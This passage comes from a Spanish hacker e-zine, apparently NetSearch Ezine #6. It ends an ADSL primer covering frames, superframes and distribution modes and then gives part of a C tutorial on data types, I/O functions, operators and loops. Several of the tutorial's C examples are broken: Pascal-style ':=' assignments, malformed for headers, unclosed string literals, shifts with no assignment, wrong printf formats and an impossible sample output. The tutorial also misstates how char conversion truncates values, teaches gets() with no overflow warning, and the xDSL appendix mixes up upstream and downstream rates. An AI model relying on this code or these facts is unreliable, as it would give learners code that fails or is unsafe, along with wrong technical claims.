mayores velocidades existe una tasa de transferencia maxima de 128 Kbps y una
minima de 64 Kbps, siendo la velocidad por defecto de 96 Kbps en downstream.
En upstream la tasa maxima es de 64 Kbps y la minima 32 Kbps, siendo 64 Kbps
la velocidad por defecto. En algunos casos los bits de la cabecera se
incluyen en el interior de la transferencia general y en otros una
determinada direccion.
Todos los bits transmitidos a traves de un enlace ADSL provienen de un buffer
"fast" o de un buffer "interleave". El buffer interleave transporta datos que
pueden funcionar adecuadamente con un retardo de intercalado, (interleave
delay), y el fast datos que no pueden funcionar adecuadamente con el retardo
de intercalado, o un almacenamiento en los buffers de los dispositivos. Esta
es otra importante funcion de la sincronizacion ya k no todos los bits k se
envian son tratados igual, dado k algunos podrian ser de servicios de audio o
video y otros p.e. de transferencias de ficheros. El espacio asignado en cada
trama para transportar los bits del buffer de datos fast es distinto al k se
asigna a los del buffer interleave, asi no hay dudas de k tipo de bits se
estan enviando y donde se encuentran localizados.
- -4.2 Tramas y supertramas
Todos los protocolos funcionan segun una serie de capas, ADSL por suspuesto
sigue este metodo de organizacion. En las capas mas bajas de encuentran los
bits representados por medio de una codificacion de linea determinada, en
este caso CAP o mas comunmente DMT. Los bits se organizan en tramas y se
agrupan en supertramas. Realmente las tramas no son mas k unas estructuras de
bits. La supertrama ADSL es una secuencia de 68 tramas ADSL, se asemeja mas a
la trama T1 que a la Ethernet, aunke una trama Ethernet puede ir contenida en
la supertrama ADSL.
ALgunas tramas tienen funciones especiales. P.e. las tramas 0 y 1 contienen
info de control de errores (CRC) y bits k actuan como indicadores (ib) (no,
no es Ibiza coÒo, kitaros las vacaciones de la cabeza...) que se usan para
gestionar el enlace. En las tramas 34 y 35 se transportan otros ib. Tras la
supertrama se envia una trama especial de sincronizacion.
Se envia una supertrama cada 17 milisegundos, dentro de la supertrama estan
las tramas. Se envia una trama cada 250 microsegundos (1/4000 de seg) y se
componen de 2 partes principales: la primera parte es la de los datos fast,
dichos datos son sensibles al retardo y tolerantes al ruido. ADSL intenta
mantener la latencia asociada en el minimo absoluto, el contenido del buffer
de datos fast del dispositivo ADSL se coloca ako. Un byte especial denominado
"fast byte" precede a esta seccion y contiene el CRC y los ib (este byte
siempre esta presente). Donde es necesario los datos fast se encuentran
protegidos por un campo FEC (correccion de errores hacia delante).
La segunda parte contiene los datos interleave, empaketados para ser
resistentes al ruido, a costa de una latencia mayor. Esto esta diseÒado para
servicios de datos como p.e. el acceso a Inet o a intranets corporativas. No
existen longitudes de tramas determinadas, dado k la velocidad de la linea
puede variar y es asimetrica. Simplemente se establecio el tiempo ya
comentado; tramas cada 250 microsegundos (fast e interleave cada 125) y
supertrama cada 17 ms.
Ademas de las tramas 0 y 1, y 34 y 35, mencionadas antes,el resto de las
tramas (2 a 33 y 36 a 67) tb transportan informacion de cabeceras, pero
representando el eoc (canal de operaciones) y el sc (canal de sincronismo).
Todo esto se encuentra en el interior del fast byte de cada trama ADSL
contenida en la supertrama (que incluso tiene una estructura diferente si la
trama es par o impar).
Todo esto es facil y complicado a la vez, facil pk cada trama tiene una
estructura fija dentro de la supertrama. Para cada buffer fast o interleave,
la trama se compone simplemente de un determinado numero de bytes para el
canal portador AS0, seguido del AS1 ..etc (segun el transporte). Tras esos
bytes vienen los correspondientes a los canales LS0, LS1... Si no existen
bytes para un AS o LS determinado esas areas estarian vacias. Y complicado pk
ADSL tiene muchas velocidades diferentes, cada bit puede ser transportado en
el area del bufer de datos fast o interleave de una trama. Cada flujo de
datos de usuario es asignado durante un proceso de inicializacion, tanto al
buffer fast como al interleave, ...etc. - Por cierto k el ADSL forum sugiere
k el bufer fast debe ser unas 10 veces mas rapido en terminos de latencia k
el interleave -.
*5 Modos de distribucion
El ADSL Forum ha definido 4 modos de distribucion para la totalidad de las
tecnologias xDSL (incluido ADSL). Dichos modos determinan unicamente la forma
en la k se envian los bits de las tramas ADSL, y de paso considerar a ADSL no
como un anexo a la RTC sino como una alternativa.
El 1er modo y menos interesante establecido por el ADSL forum es conocido
como el "bit synchronous mode". Significa k cada bit colocado en el buffer
fast o interleave de un dispositivo en un extremo del enlace ADSL (ATU-R)
aparecera en el otro extremo (ATU-C). En su forma mas simple consistiria en
un canal descendente a 1,536 Mbps y uno ascendente a 64 Kbps. En este modo el
ATU-C maneja los bits k le llegan por el canal C o LS enviandolos hacia algun
commutador de circuitos de la central o (por ejemplo) a un router IP
conectado a Inet.
El segundo modo es el modo adaptador de paketes (paquet adapter mode). Se
produce un cambio en el equipo de usuario de forma k este preparado para
enviar y recibir paketes en lugar de un flujo de bits. Los paketes se
disponen en las tramas ADSL de acuerdo con alguna funcion de adaptacion. De
esta manera se puede conectar p.e. una LAN entera a un enlace ADSL. Estos 2
modos usan canales multiplexados en el tiempo (TDM) hasta el dispo- sitivo
final (mas sobre TDM y FDM mail me o al staff).
El tercer modo es el modo de paketes punto a punto (end to end packet mode).
Es un modo similar al anterior, de hecho aunke se presenten de forma separada
suelen usarse juntos para generar un servicio basado en paketes. La
diferencia con el modo anterior es k los paketes son multiplexados en los
canales ADSL, es decir no son mapeados en una secuencia de tramas
representando ASs o LSs sino k son enviados a un enlace ADSL sin canales, en
los k se producen flujos upstream y dowsntream a una velocidad determinada.
Naturalmente los paketes del usuario y del proveedor del servicio deben ser
del mismo tipo. Los paketes son enviados hacia y desde sus propios servidores
basandose en la direccion, o bien hacia el router de un ISP p.e. En
definitiva esto ya nos es muy familiar pk se trata de una red de commutacion
de paketes y no de circuitos.
El ultimo modo es el ATM mode, o mejor dicho el ATM punto a punto. Este modo
multiplexa y envia celdas ATM desde un adaptador ATM (ATU-R) en vez de
paketes IP (o de cualkier tipo). En el lado del proveedor de servicios el
ATU-C trasvasa las celdas a una red ATM. Recordemos k aparte del uso de ATM
para la transmision de audio/video por sus caracteristicas, ATM puede
transportar paketes IP tb. Destacar k los dispositivos ATU-C normalmente
forman parte de un DSLAM (multiplexor de acceso a linea digital de abonado).
Estos 4 modos de distribucion, se combinan con los formatos de informacion
de otros ekipos k forman parte de la arkitectura (aparte del ATU-C/ATU-R)
para crear al menos 6 caminos diferentes para acceder a servicios basados
en ADSL:
ADSL para TCP/IP: modo adaptador
ADSL para TCP/IP: modo extremo a extremo
ADSL para ATM
Red ADSL - ATM
Red ADSL - ATM: PPP usando PVC
Red ADSL - ATM: PPP usando SVC
Si estais interesados en conocer alguno de estos metodos, mail me o al staff.
Estos metodos van desde el simple acceso a Inet, Intranets, y servidores,
hasta servicios de video bajo demanda...etc.
*6 Conclusion y despedida
Bueno esto como veis es bastante amplio, aki he intentado hacer una pekeÒa
introduccion a la ADSL, mas ke nada pk esta claro k las tecnologias xDSL
suponen un punto a tener en cuenta en cuanto a conectividad (por ejemplo
HDSL ya se esta usando para sustituir a las portadoras T1/E1). ADSL de
cara al usuario final y a la pyme puede constituir una linea de acceso
de gran velocidad y ancho de banda k puede ser usada tanto para el acceso
a Inet (si es ke los ISPs y la misma Inet tal como estan pueden soportarlo),
como para el acceso a Intranets y servidores privados, servicios, e incluso
llegando a poder ser usada para el video/audio bajo demanda.
Lo k no se es si la timo estara a la altura (de cobrar por supuesto k si). De
momento, y como pasaba con la RDSI, los "tecnicos" no tienen ni puta idea.
Si teneis alguna pregunta no os corteis:
megadeth@netsearch-ezine.com (Personal)
staff@netsearch-ezine.com (Lista del staff)
netsearch@yahoogroups.com (Lista de correo general)
*Apendice A
Miembros mas importantes de la familia xDSL
HDSL HDSL2 (DSL de alta velocidad) 1,544/2,048 Mbps Simetrico
SDSL (DSL simetrico) 768 Kbps Simetrico
ADSL (DSL asimetrico) 1,5 a 8 Mbps (upstream) 16 a 640 Kbps (downstream)
asimetrico
RADSL (DSL de velocidad adaptable) 1,5 a 8 Mbps (upstream) 16 a 640 Kbps
(downstream) asimetrico
CDSL (DSL de consumidor) hasta 1 Mbps (upstream) de 16 a 128 Kbps (upstream)
asimetrico
IDSL (DSL de RDSI) velocidad como el BRI basico RDSI , simetrico
VDSL (DSL de muy alta velocidad) De 13 a 52 Mbps (downstream) de 1,5 a 6,0
(upstream) ,asimetrico
*Apendice B
Terminologia ADSL
ATU-C unidad de transmision ADSL lado de la central
ATU-R unidad de transmision ADSL lado remoto (usuario)
B Entrada auxiliar de datos
DSLAM Multiplexor de acceso DSL
POTS-C Interfaz entre la RTC y el filtro lado de la central
POTS-R Interfaz entre la RTC y el filtro lado del usuario
T-SM Interfaz T para el modulo de servicio
U-C Interfaz U lado de la central
U-C2 Interfaz U lado de la central desde el filtro al ATU-C
U-R Interfaz U lado remoto (usuario)
U-R2 Interfaz U lado remoto desdel el filtro a la ATU-C
Va Interfaz V lado del nodo de acceso
Vv Intrfaz V lado remoto
*Apendice C
Tablas de restricciones de velocidad
- -1,536 (T)
AS0 n x 1,536 n=0,1,2,3 o 4
AS1 n x 1,536 n=0,1,2 o 3
AS2 n x 1,536 n=0,1 o 2
AS3 n x 1,536 n=0 o 1
- -2,048 (E)
AS0 n x 2,048 n=0,1,2 o 3
AS1 n x 2,048 n=0,1 o 2
AS2 n x 2,048 n=0 o 1
*Apendice D
Maximo numero de canales duplex soportados por clase
- -clase 1 o 2M 1 conf 1: 160 Kbps + 384 Kbps LS1,LS2
conf 2: 576 Kbps solo LS2 solo
- -clase 2,3 y 2M 2 conf 1: solo 160 Kbps LS1 solo
conf 2: solo 384 Kbps LS2 solo
- -clase 4 y 2M 3 solo 160 Kbps
*Apendice E
Ultima hora xD, acabo de recibir (k casualidad) la atenta llamada de una srta
de la timo ofreciendome la conversion de mi RDSI a ADSL gratix. Solo tengo k
comprarles (me pregunto si podria comprarlo x mi cuenta) el ATU-R/Router
capao pa la red por 35 K (no ta mal, todo hay k decirlo).
El palo viene ahora: 6500 pts/mes por 256Kbps en downstream y 128 en
upstream, si kieres mas arruinate pagando..(suponiendo k rulep..), asi no hay
manera de prosperar. Lluego estan los "tecnicos"... økeee, ke tienen k
configurarme keeeee?? y una mierda mete nadie la zarpa aki!! amas no uso
windows...........
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
=-[ 0x03 ]-==================================================================
=-[ NetSearch Ezine #6 ]-====================================================
=-[ Lenguaje C (2/2) ]-======================================================
=-[ por JohnnyG ]-===========================================================
[Nota de Editor: Primera parte del Articulo en NetSearch Ezine #5.]
TIPOS BASICOS DE DATOS.
***********************
Tipos de datos fundamentales.
-----------------------------
El identificador de un dato debe de comenzar por una letra o por un _.
Luego tambien puede incluir numeros.
Los principales son:
* char 1 byte caracter.
* int 2 bytes enteros (positivos y negativos).
* float numero real o de coma flotante.
* double numero de coma flotante con doble precision.
La longitud y capacidad de los distintos tipos, depende bastante del
sistema operativo e implementacion de C que utilicemos. Existe otro tipo,
void, que se usa principalmente para funciones, siempre que no devuelvan nada
y para punteros sin tipos.
Modificadores de tipo.
----------------------
Sirven para alterar el significado de los distintos tipos base. Los
posibles son:
* signed : con signo
* unsigned : sin signo
* long : largo
* short : corto
Se pueden aplicar los cuatro modificadores a datos de tipo char e int.
Para float y double, solo es aplicable el modificador long.
1: signed char c;
El modificador siempre ira por delante de la variable o funcion. Los
cambios que realice dependen del tipo de compilador.
Suponemos palabras de 16 bits:
* char 8 0 a 255
* int 16 -32768 a 32767
* float 32 6 digitos de precision aprox.
* double 64 12 digitos de precision aprox.
* unsigned char 0 a 255
* signed char -128 a 127
* unsigned int 0 a 65535
Declaracion de variables.
-------------------------
La declaracion de variables se realiza de la siguiente forma:
tipo lista_de_variables;
1: int x, y, z;
Hay tres puntos donde se pueden declarar variables:
* Dentro de una funcion : La variable sera local a esa funcion.
* Fuera de una funcion: La variable sera global.
* Parametro de una funcion. Variable local a esa funcion.
Modificadores de acceso.
------------------------
Los modificadores de acceso influyen en la forma de modificar el valor de
una variable.
* const : constante. El valor no puede ser cambiado;
1: const int a;
* volatile : Variable cuyo valor va poder ser modificado sin previo aviso o
sin que pase por alguna instruccion de C (Como puertos, detectores
visuales...);
1: const volatile unsigned char *port = 0x36;
En este caso, puede parecer raro juntar const con volatile. Vamos a
explicarlo:
La variable en si, es un puntero de nombre port (*port), que guarda un
caracter sin signo (unsigned char). El puntero apuntara al puerto 0x36, que
sera constante, (const) siempre apuntara a ese puerto, pero el valor que haya
en ese puerto, puede variar en cualquier instante (volatile). Si no lo has
entendido, no te preocupes, yo todavia no me he echo a la idea, pero me lo
creo. (Consejo: Si en todos los sitios te dicen que algo es blanco, y tu lo
ves negro, creete que es blanco, al final lo entederas. No preguntes como,
pero creetelo).
Ambito de las variables
-----------------------
* Variables locales
En C se pueden crear grupos de instrucciones (bloque), usando para ello { }
Si se declara una variable en una funcion, es local a esa funcion (Una
funcion es un bloque de instrucciones). Si se declara en un bloque, la variable
es local al bloque.
1: if (t = = 9)
2: {
3: char s [10];
4: printf ("Introduce tu nombre");
5: gets(s);
6: }
En este caso, el nombre no seria accesible desde cualquier otra parte del
programa.
Las variables se almacenan en la pila. Las variables locales se destruyen
al acabar la funcion o el bloque, a la que son locales.
Otras variables locales a una funcion, son las que se pasan como
parametros.Para declarar variables, pasadas como parametros de una funcion,
hay dos metodos: el tipo antiguo, y el estandar ANSI.
Tipo antiguo:
1: buscar (s, c) {
2: char s, c;
3: }
Tipo ANSI
1: buscar (char s, char c) { ... }
* Variables globales
Se declaran fuera de todas las funciones, al comienzo del programa. Tienen
un valor conocido en cualquier punto del programa. El espacio de memoria se
reservara durante toda la ejecucion del programa. Se pueden volver a declarar
dentro de una funcion, variables locales con el mismo nombre, y cuando nos
refiramos a una variable, sera a la local, no a la global.
1: #include <stdio.h>
2: int x;
3: main ( )
4: {
5: ...
6: }
7:
8: buscar (char c, char s)
9: {
10: int x;
11: ... /* Si hicieramos alguna referencia a x, seria a la local */
12: }
Inconvenientes:
. Utiliza memoria durante todo el tiempo de ejecucion del programa.
. Una funcion, si recoge o usa valores de una variable global, no
tendra portabilidad.
. Se puede cambiar accidentalmente el valor de la variable, lo que hace
bastante mas dificil la depuracion.
Almacenamiento de variables.
---------------------------
Indican como se van a almacenar las variables que estamos declarando. Se
coloca delante de la declaracion de la variable.
* auto : Es de tipo automatico. Se toma por defecto cuando esta dentro de
una funcion o bloque. Es una variable local.
* extern : Tiene dos usos. Para programas de varios ficheros, indica que la
variable ya esta declarada en otro fichero. En este caso no reservara
memoria de nuevo.
Fichero 1
1: #include <stdio.h>
2: .
3: int x;
4: main ( )
5: {
6: ...
7: }
Fichero 2
1: extern int x;
Al linkar los dos ficheros, es cuando se resuelve la direccion de la
variable.
El segundo uso seria para indicar en un bloque que una variable esta declarada
fuera del bloque. Indica que es una variable global.
1: #include <stdio.h>
2:
3: int x;
4: main ( )
5: {
6: ...
7: }
8:
9: func1 ( )
10: {
11: extern int x;
12: ...
13: }
* static : Tiene 2 misiones:
Cuando se refiere a una variable, su tiempo de vida sera el tiempo de vida
del programa. Si ha sido declarada dentro de una funcion o bloque, no se destruye
al acabar el bloque, sino que se mantiene e incluso conserva su valor para
sucesivas llamadas. Se suelen usar como contadores.
1: int contar ( )
2: {
3: static int contador = 0; /*solo se inicializarò en la primera
4: llamdada */
5: ...
6: contador = contador + 1;
7: ...
8: }
Suelen ser bastante utiles para tener que evitar variables locales.
Si este modificador se utiliza en una funcion, indica que la funcion solo
es visible en el modulo donde esta declarada, para programas con varios
ficheros.
* register : Indica al compilador que si puede, meta la variable en uno de
los registros de la CPU (solo aplicable a int y char); Da mucha mas
velocidad a la ejecucion. En caso de que no pueda, hara todo lo posible
para que su acceso sea lo mas rapido posible. Normalmente, los compiladores
actuales hacen esto de manera automatica.
Las variables de tipo global y static se inicializan a 0 por defecto; el
resto no. Tambien es posible inicializar una variable en la declaracion.
1: unsigned int x = 50456;
Conversion de tipos
-------------------
En C, a diferencia de Pascal, en una expresion se permite la combinacion de
tipos. Cuando en una asignacion se mezclan diferentes tipos, se convierte el
valor de la expresion de la derecha, al tipo de dato de mas a la izquierda, y
se eliminan los bits mas significativos, si es necesario.
1: int x;
2: char ch;
3: float f;
4: {
5: ch = x; /* Pasan los 8 bits mas significativos */
6: x = f; /* Elimina la parte decimal */
7: f = ch; /* Almacenara un caracter */
8: printf ("\n%d%d%f", ch, x, f);
9: }
Las salidas por pantalla serian:
Valores : x = 25 ; f = 34.35
Salidas : ch = 25 ; x = 34; f = 25.000000
Valores : x = 315 ; f = 65000.15
Salidas : ch = 59 ; x = 536 ; f = 59.000000
FUNCIONES BASICAS DE ENTRADA / SALIDA
*************************************
Se encuentran en la libreria stdio.h
1: #include <stdio.h>
getchar ( ) , putchar ( )
-------------------------
Leen y escriben un caracter en pantalla. La lectura se hace con eco (El
caracter pulsado se escribe en pantalla).
1: #include <stdio.h>
2: #include <ctype.h>
3: main ( )
4: {
5: char ch;
6: do {
7: ch = getchar ( );
8: if ( islower(ch)) putchar (toupper (ch));
9: else putchar (tolower (ch));
10: } while (ch !='.');
11: }
Las funciones islower, toupper y tolower, se encuentran en la libreria
ctype.h
* islower () Devuelve cierto si el caracter es una minuscula.
* toupper () Devuelve la mayuscula del caracter que se le pasa.
* tolower () Devuelve la misnuscula del caracter que se le pasa.
getch ( )
---------
Igual que getchar ( ) pero sin eco.
gets ( ) , puts ( )
-------------------
Leen o imprimen una cadena en teclado. Al leer gets ( ) una cadena de
teclado, lo hace incluyendo espacios y todo tipo de caracteres hasta hayar
un retorno de carro.
1: char cadena [30]
Leeria desde el 0 hasta el 28 (Los arrays en C empiezan en 0). El ultimo
espacio siempre se reserva para la marca de fin de linea.
Ademas, puts ( ), permite la inclusion de codigos de barra invertida.
\b espacio hacia atras
\f salto de pagina
\n nueva linea
\r salto de carro
\t tabulacion horizontal
\" imprime "
\' imprime '
\\ barra invertida \
\v tabulaci1/2n vertical
\o constante octal
\x constante hexadecimal.
printf ( ), scanf ( )
---------------------
Son las mas versatiles ya que hacen de todo. Permiten codigos de barra
invertida.
printf ("cadena", lista, de, argumentos);
1: printf ("\n El valor de x es %d", x);
Las ordenes de formato son:
%c caracter.
%d decimales (caracteres y enteros)
%i igual que d
%e notacion cientifica.
%f coma flotante
%g utiliza e o f, lo que sea mas corto
%o octal
%s cadena
%u unsigned
%x hexadecimal
%% %
%p punteros
Modificadores de ordenes de formato:
%sd longitud minima
%10.4f 4 decimales, de diez numeros totales que se pueden
escribir.
%5.7s longitud maxima y minima
%-10.4f alinezcion a la izquierda. Por defecto es a la derecha.
%ld long int
%hu short unsigned
scanf("cadena de control", lista de argumentos);
Lee desde teclado cualquier tipo de dato, es muy versatil.
1: int x;
2: scanf("%d",&x);
Se usa el ampersand (&), pues scanf trabaja sobre direcciones de memoria.
El &, sirve para saber la direccion de memoria de una variable (mas
informacion en el capitulo sobre punteros).
1: int i, j;
2: scanf("%d%d", &i, &j);
En este caso, la introduccion de datos se puede hacer de dos formas:
127 /*Return*/
16
O bien:
127 16 /*Espacio y return*/
Para la lecturas de cadenas, son mas complicadas, se haria:
1: char cadena[30];
2: scanf("%s", cadena);
En este caso no se usa el &, pues el nombre de un array sin corchetes ni
indice, indica ya la direccion de memoria (Punteros). En caso de incluir
una cadena, en este caso, solo se leeria hasta el primer espacio, y el resto
se ignoraria o se asignaria a otras variables. Para coger toda la cadena
hasta un return se haria:
1: scanf("%[^\n]", cadena);
A la hora de ignorar algun caracter, se incluye dentro de las cadenas de
control:
1: scanf("%d,%d", &x,&y);
En este caso, ignoraria una coma. Si escribimos 127,16 el 127 se lo asigna
a la x y el 16 a la y, y la coma seria ignorada. Si no sabemos cual es el
caracter o lo que queremos ignorar, lo haremos:
1: scanf("%d%*c%d", &x, &y);
En este caso, despues de insertar un entero, ignoraria un caracter que se
incluyese (%*c), y comenzaria a asignar el siguiente entero.
Para limitar la cantidad de caracteres incluidos:
1: char a[20];
2: scanf ("%10s", a);
En este caso, se limita los caracteres a 10. Es muy importante controlar
que en estos casos no se insertan mas caracteres que los permitidos por el
array, pues segun el sistema operativo, el programa, aunque compile, puede
dar error en tiempo de ejecucion.
1: scanf("%3d", &j);
Recogera un numero de tres cifras, ignorando el resto.
OPERADORES Y EXPRESIONES
************************
Operadores de asignacion.
-------------------------
Sirven para asignar un valor a una variable.
<vble.> = <valor> /* Tb. Puede ser una expresion */
1: a = 5;
Tambien esta permitido hacer:
<vble> <operador> = <expresion>
Que es equivalente a:
<vble> = <vble> <operador> <expresion>
1: m *=5;
2: m = m * 5;
Una forma de asignacion multiple seria:
1: x = y = j = 10;
2: a = b = getchar ( )
Pero no es aconsajable abusar de esto, pues se puede complicar bastante la
cosa..
1: i = 2;
2: n += (n ++) - (n * i--);
3: tabla [i] = x + (i = 4);
En las operaciones y expresiones de C, puede haber mezcla de tipos de
datos, que el compilador tratara de ajustar por defecto. Los tipos char y
short los pasa a int. El tipo flota pasa a double. Lo que hara C normalmente
sera convertir al tipo mas grande posible.
1: long p;
2: unsigned char q;
3: int i;
4:
5: p+(q*i) /* i pasa a unsigned int, al igual que q, y luego el
6: resultado lo pasa a long */
Operadores aritmeticos
----------------------
Los operadores aritmeticos son los de siempre :
+ - * / % ++ --
% Operacion modulo. Devuelve el resto de una division entre enteros.
/ Si se dividen un int o un char, devuelve un entero o char, quita
la parte decimal.
1: int i;
2: float x;
3: i = 7;
4: j = 3;
5: x = i / j; /* Devuelve 2.000000 */
6: x = (float) i / j; /* Devuelve el autentico valor de la
7: division */
En la sentencia anterior, se ha usado un modificador por molde. Sirve para
convertir un tipo de dato al que queremos para una expresion. Hay que tener
cuidado de como se utiliza. Si en el caso anterior hubieramos puesto:
1: (float) (i/j)
No funcionaria, pues aplicamos el molde al resultado de la operacion, con
la que ya se hubieran perdido los decimales.
Las operaciones ++ y - sirven para incrementar y decrementar un dato de
tipo int. La diferencia entre ambas es:
1: int n;
2: n++;
3: ++n;
En caso de estar en una expresion la n, en el primero de los casos, se
evaluaria el valor de la expresion, y luego se incrementa n, y en el segundo
de los casos, primero se incrementa y luego se halla el valor de la
expresion.
1: m = 4;
2: n = ++m; /* m=5, n=5 */
3: m = 4;
4: n = m++; /* m=5, n=4 */
Operadores logicos y relacionales.
----------------------------------
Devuelven un valor verdadero o falso. En el lenguaje C, un valor falso es
0, mientras que todo lo demas es verdadero.
< > <= >= = = !=
&& AND
|| OR
! NOT
1: printf("\n%d", 5>3); /* Esto imprimiria un 1 */
Operaciones a nivel de bit
--------------------------
En lugar de tratar una variable completa, lo hacemos bit a bit.
& AND
| OR
^ OR Exclusiva
~ NOT
<< Desplazamiento a la izquierda
>> Desplazamiento a la derecha.
Estos desplazamientos no son rotaciones. Si sale un uno, se pierde a no ser
que lo introduzcamos de nuevo.
1: char x = 7;
2: x & 1; /* Esto nos daria el valor del primer bit */
00000111
00000001
--------
00000001 /* Bastante util para crear mascaras */
x | 2 /* Pone a 1 el valor del segundo bit */
00000111
00000010
--------
00000111
Otros operadores.
-----------------
? -> Sirve para realizar condiciones.
<condicion> ? <expresion1> : <expresion2>
Si la condicio es verdadera, se ejecutara la expresion1; mientras que si es
falsa sera la expresion2 la que se ejecute. La sentencia tomara el valor de
la expresion ejecutada.
1: m = 50;
2: n = (m == 99 ? 1 : 2) /* n tomaria el valor de 2 */
1: main ( )
2: {
3: int t;
4: printf (":");
5: scanf(%d", &t);
6: t ? f2( ) + fi (t) : printf ("Introducido un 0");
7: }
8: f1 (int n)
9: {
10: printf ("%d", n);
11: }
12: f2( )
13: {
14: printf ("Introducido");
15: }
, -> (coma) Es el operador secuencial. Sirve para concatenar varias
expresiones. Se evaluan de izquierda a derecha, y toma el valor de la
mas a la derecha.
1: x = (y = 3, y + 1) /* Se deben de usar parentisis al tener menos
2: precedencia a la asignacion. */
sizeof ( ) --> Devuelve la longitud en bytes de un determinado tipo de dato o
variable. Muy util a la hora de exportar codigo entre plataformas, ya que
puede que usen diferentes longitudes para los mismos tipos de datos.
1: long p;
2: sizeof ( p ); /* Devuelve el espacio ocupado por una variable de
3: tipo long */
SENTENCIAS DE CONTROL.
*********************
if, condicional
---------------
1: if (expresion) sentencia1;
2: else sentencia2;
Si la expresion es verdadera, se ejecuta la sentencia1, y si es falsa, se
ejecuta la sentencia2. El else no es obligatorio y puede suprimirse. En ese
caso, si la condicion es falsa, no se haria nada, y se seguiria ejecutando la
siguiente expresion al if. Las sentencias tambien pueden ser bloques de
sentencias.
1: #include <stdio.h>
2: main ( )
3: {
4: int x = 2;
5: if (x != 0) {
6: puts ("x no es cero");
7: printf ("x = %d\n", x);
9: }
10: }
Seria lo mismo que el operador ?.
Los if pueden ir anidados sin ningun tipo de restriccion. A la hora de
emparejar los if con sus respectivos else, si no se incluyen en bloques de
instrucciones, siempre se empareja el else con el if mas cercano que tenga.
Varias formas de anidar los if seria:
1: if (expresion)
2: if expresion sentencia;
3: else sentencia;
1: if expresion {
2: if expresion sentencia;
3: }
4: else sentencia;
1: if expresion sentencia;
2: else if expresion sentencia;
3: else if expresion sentencia;
4: else if ...;
switch
------
Lo que realiza switch es, segun los valores de la variable (case), que
tiene que ser de tipo integer o char, ejecutara unas sentencias u otras. La
comparacion siempre se realiza por igualdad.
1: switch (variable) {
2: case 0 : listar ( );
3: break ;
4: case 1 : introducir ( );
5: break ;
6: ...
7: default : error ( );
8: }
En caso de que no coincida con ningun valor, se ejecutaran las sentencias
asociadas a default, que no es obligatorio que aparezca. En las sentencias
aparece break, que sirve para salir del bucle. En caso de que no hubiera un
break, una vez que hubiera ejecutado su bloque de instrucciones, seguiria
ejecutando las que estan a continuacion sin llevar a cabo de nuevo las
comparaciones. Esto es util para asignar un mismo grupo de sentencias a un
conjunto de valores.
for
---
Sirve, en principio, para ejecutar un bloque de instrucciones un numero
determinado y conocido de veces.
1: for (inicializacion; condicion; incremento)
1: #include <stdio.h>
2: main ( )
3: {
4: int m;
5: for (m = 1; m < =100; m +=2)
6: printf ("%d\n", m);
7: }
La comparacion, al igual que la condicion y el incremento, puede llegar a
ser cualquier cosa.
1: for (;;) /* Esto seria un bucle infinito */
2: { /* Para salir tendriamos que usar un break, exit o return.
3: ... Se explica mas adelante */
4: }
Un bucle for, no tiene porque usar cuerpo.
1: #include <stdio.h>
2: main ( )
3: {
4: int tabla[5];
5: int i;
6: for (i :=0; i < 5; tabla[i++] = 10);
7: /*Inicializa el vector */
8: for (i = 0; i < 5; i++)
9: printf ("tabla[%1d]=%d\n", i, tabla[i]);
10: }
Los dos bucles for anteriores, se podian haber resumido como:
1: for (i = 0; i < 5; tabla [i] = 10, printf ("Tabla
[%1d]=%d\n",i,tabla[i]), i++);
Las variables de control no tienen porque ser solo una:
1: for (x =0; y=0; x+y < 10; x ++) {
2: y = getchar ( );
3: y = y - '0'; /* Esto nos sirve para convertir un codigo ASCII a
4: numero */
5: }
1: reconocimiento ( )
2: {
3: char str [20];
4: int x;
5: for (x = 0; x <= 3 && strcmp (str, "clave"); ++x) {
6: printf ("Introduzca la clave");
7: gets (str);
8: }
9: if ( x = =3) terminar ( );
10 }
strcmp compara dos cadenas y devuelve 0 si son iguales. Esta incluida en la
libreria string.h.
1: main ( )
2: {
3: int t;
4: for (peticion ; t = leernum( ); peticion )
5: raiz ( t );
5: }
6: peticion ( )
7: {
8: printf (" : ");
9: }
10: leernum ( )
11: {
12: int t;
13: scanf ("%d", &t);
14: return t;
15: }
16: raiz (int num)
17 {
18: printf ("%d\n", sqrt (num));
19: /* sqrt halla la raiz cuadrada de un numero */
20: }
1: #include <stdio.h>
2:
3: main ()
4: {
5: unsigned char mascara = 128; /* 10000000 */
6: unsigned char n;
7: int i;
8: printf ("Introduce un numero entero entre 0 y 255:");
9: scanf("%u", &u);
10: printf("Representaci¢n binaria:");
11: for (i:=1; i <=8; i++) {
12: putchar (( n & mascara ? '1' : '0' );
13: mascara >> 1;
14: }
15: }
while
-----
Repite un conjunto de instrucciones mientras se den unas condiciones, que
evalua antes de entrar en el bucle.
1: while (condicion) sentencia;
1: leer ()
2: {
3: char ch;
4: ch = '\0';
5: while (ch != 'A')
6: ch = getchar ();
7: }
1: func1 ()
2: {
3: int t;
4: t = 1;
5: while (t) {
6: t = proceso1();
7: if (t)
8: t = proceso2();
9: if (t)
10: t = proceso3();
11: }
12: }
La sentencia while, al igual que el resto no tiene porque incluir un
cuerpo:
1: while (( ch = getchar()) != 's');
do while
--------
Ejecuta una serie de sentencias mientras la condicion sea verdadera. En
este caso evalua la condicion al final, por lo que siempre ejecutara las
sentencias, al menos, una vez.
1: do {
2: sentencia;
3: } while (condicion);
1: do {
2: scanf("%d", &num);
3: } while (num < 100);
Este tipo de sentencias se usa mucho para ejecucion de menus.
1: menu ()
2: {
3: char ch;
4: printf ("1. Altas\n");
5: printf ("2. Bajas\n");
6: printf ("3. Modificar\n");
7: printf ();
8: printf ("4. Salir\n");
9: do {
10: ch = getchar();
11: switch (ch) {
12: case '1' :
13: altas ();
14: break;
15: case '2' :
16: bajas ();
17: break;
18: case '3' :
19: modificar ();
20: break;
21: }
22: }while (ch != '1' && ch != '2' && ch != '3');
23: }
break
-----
Sentencia que sirve para salir de un bucle de cualquier tipo, sin tener en
cuenta la condicion de este. Ademas, como ya vimos, en un switch sirve para
que solo ejecute una conjunto de sentencias de una seccion.
1: main ()
2: {
3: int t,p;
4: for (t=0; t < 100; t++) {
5: printf ("%d", t);
6: scanf ("%d", &p);
7: if (t == 10 || p == 10) break;
8: }
9: }
En caso de que estemos en bucles anidados, break sale del bucle mas
interior de los que estemos.
exit
----
Sirve para salir de un programa. Se encuentra en el archivo de cabecera
process.h
continue
--------
Fuerza una nueva iteracion del bucle, saltando las condiciones que vengan a
continuacion y volviendo al principio del bucle.
1: do {
2: scanf(%d", &num);
3: if (num < 100) continue;
4: printf ("%d", num);
5: } while ( num != 100);
goto
----
